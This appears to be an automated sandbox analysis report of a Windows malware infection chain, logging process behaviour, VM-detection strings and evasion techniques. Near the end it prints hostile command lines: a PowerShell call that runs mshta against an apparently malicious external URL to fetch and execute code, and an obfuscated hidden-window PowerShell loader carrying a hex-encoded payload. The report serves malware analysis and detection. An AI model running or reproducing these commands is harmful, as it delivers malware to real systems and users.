Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1615Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1645Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 930Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 838Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4823Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4990Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6933
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1524
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4584
Source: C:\Windows\System32\mshta.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]Jump to dropped file
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeAPI coverage: 3.7 %
Source: C:\Users\Public\Guard.exeAPI coverage: 6.6 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifAPI coverage: 4.9 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5216Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3336Thread sleep count: 930 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3336Thread sleep count: 838 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6580Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3892Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228Thread sleep time: -15679732462653109s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764Thread sleep count: 6933 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752Thread sleep count: 1524 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4696Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8456Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,18_2_00007FF697BBC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00007FF697BBB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,18_2_00007FF697BC72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC71F4 FindFirstFileW,FindClose,18_2_00007FF697BC71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00007FF697BBBC70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,18_2_00007FF697BCA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,18_2_00007FF697BCA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC6428 FindFirstFileW,FindNextFileW,FindClose,18_2_00007FF697BC6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,18_2_00007FF697BCA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B82F50 FindFirstFileExW,18_2_00007FF697B82F50
Source: C:\Users\Public\Guard.exeCode function: 27_2_00334005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,27_2_00334005
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033494A GetFileAttributesW,FindFirstFileW,FindClose,27_2_0033494A
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,27_2_0033C2FF
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033CD14 FindFirstFileW,FindClose,27_2_0033CD14
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,27_2_0033CD9F
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,27_2_0033F5D8
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,27_2_0033F735
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,27_2_0033FA36
Source: C:\Users\Public\Guard.exeCode function: 27_2_00333CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,27_2_00333CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,31_2_00D84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8494A GetFileAttributesW,FindFirstFileW,FindClose,31_2_00D8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,31_2_00D8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,31_2_00D8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8CD14 FindFirstFileW,FindClose,31_2_00D8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,31_2_00D8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,31_2_00D8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,31_2_00D8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,31_2_00D83CE2
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B61D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,18_2_00007FF697B61D80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: powershell.exe, 00000019.00000002.1890809020.0000026D234E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: powershell.exe, 00000009.00000002.1647234592.0000024F7ADA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: powershell.exe, 00000009.00000002.1647234592.0000024F7ADA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW9A%SystemRoot%\system32\mswsock.dllC59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C70
Source: mshta.exe, 00000006.00000002.1691503475.0000023F40230000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1688122665.000002373D78B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690806418.000002373D78C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656420097.000002373D76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687550826.000002373D76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D76D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: Guard.exe, 0000001B.00000002.2614078570.0000000003906000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000001F.00000002.2614206941.0000000003C8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\z
Source: C:\Windows\System32\wbem\WMIC.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD0A00 BlockInput,18_2_00007FF697BD0A00
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B437B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,18_2_00007FF697B437B0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B65BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,18_2_00007FF697B65BC0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD7634 LoadLibraryA,GetProcAddress,18_2_00007FF697BD7634
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BAD868 WaitForSingleObject,UnloadUserProfile,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,18_2_00007FF697BAD868
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B657E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,18_2_00007FF697B657E4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B659C8 SetUnhandledExceptionFilter,18_2_00007FF697B659C8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B88FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,18_2_00007FF697B88FE4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,18_2_00007FF697B7AF58
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FA354 SetUnhandledExceptionFilter,27_2_002FA354
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,27_2_002FA385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,31_2_00D4A385
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4A354 SetUnhandledExceptionFilter,31_2_00D4A354

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BACE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,18_2_00007FF697BACE68
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B437B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,18_2_00007FF697B437B0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BB9420 SendInput,keybd_event,18_2_00007FF697BB9420
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBD1A4 mouse_event,18_2_00007FF697BBD1A4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anhJump to behavior
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B40